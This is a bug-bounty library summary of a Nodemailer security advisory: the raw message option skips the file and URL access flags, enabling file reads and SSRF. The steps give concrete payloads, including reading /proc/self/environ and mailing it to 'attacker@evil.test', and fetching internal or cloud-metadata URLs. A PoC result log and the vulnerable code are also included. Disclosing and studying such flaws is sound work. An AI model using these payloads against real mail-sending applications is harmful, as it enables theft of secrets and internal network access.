# Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message

Nodemailer's message-level raw option builds its MIME root node without disableFileAccess/disableUrlAccess, so raw:{path} or raw:{href} reads local files or fetches URLs and sends the bytes out.

- Payout: Research
- Severity: high
- Program: Nodemailer
- Found by (vendor credit): Pig-Tail
- Found by: Pig-Tail, cookesan
- Disclosed: 2026-06-18
- CVE: CVE-2026-82659
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p6gq-j5cr-w38f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-p6gq-j5cr-w38f
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:ssrf

**Target:** npm nodemailer MailComposer raw message option
**Root cause:** MailComposer.compile() constructs the raw root MimeNode with only {newline}, omitting disableFileAccess/disableUrlAccess that all other node builders pass; MimeNode derives the flags solely from its own options with no parent inheritance, so _getStream's guards are false and fs.createReadStream/nmfetch run unguarded.
**Steps:**
1. Configure transporter with `disableFileAccess: true` and/or `disableUrlAccess: true` (or per-message).
2. Send `transporter.sendMail({ raw: { path: '/proc/self/environ' }, to: 'attacker@evil.test' })` — compile() builds the raw node without the flags.
3. _getStream reads the file via fs.createReadStream and the bytes become the delivered message body.
4. For SSRF, send `raw: { href: 'http://127.0.0.1:8080/admin' }` or a cloud metadata URL; nmfetch fetches it and the full response body is delivered in the email.
5. CONTROL: `attachments: [{ path: <same file> }]` returns EFILEACCESS, proving the flag works elsewhere.
**How found:** Compared the raw branch in compile() against the five sibling node builders (_createMixed/_createAlternative/_createRelated/_createContentNode) that all thread the access flags; noticed the raw MimeNode is constructed with only {newline}, then traced MimeNode constructor and _getStream to confirm no inheritance and no other guard.
**Exploitation:** An app sandboxing untrusted mail input sets the flags but lets the actor control raw and to; the actor supplies raw:{path} for a sensitive server file (e.g. /app/.env, /proc/self/environ) or raw:{href} for an internal/metadata endpoint, and the transport (SMTP, SES, sendmail, stream, JSON) pipes the read/fetched bytes as the outgoing message to the attacker-chosen mailbox, yielding file exfiltration and full-response SSRF.
**Escalation:** Full-response SSRF (not blind) to cloud metadata endpoints plus attacker-controlled recipient widens disclosure; rating degrades to Medium if `to` is fixed.
**Insight:** When a library enforces a security policy per-node via constructor options, audit every node-construction site for the one shortcut that forgets to re-pass it — here the raw root node; a CONTROL case with the same file via attachments proves the flag is otherwise effective.

## Proof of concept (copied exactly from the original report)

**PoC run command for raw bypass**

```
`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no network egress (loopback only),
no destructive action. Output:
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed).
```

**Vulnerable raw node construction**

```
if (this.mail.raw) {
      this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
  }
  The `MimeNode` is constructed with only `{ newline }`.
```

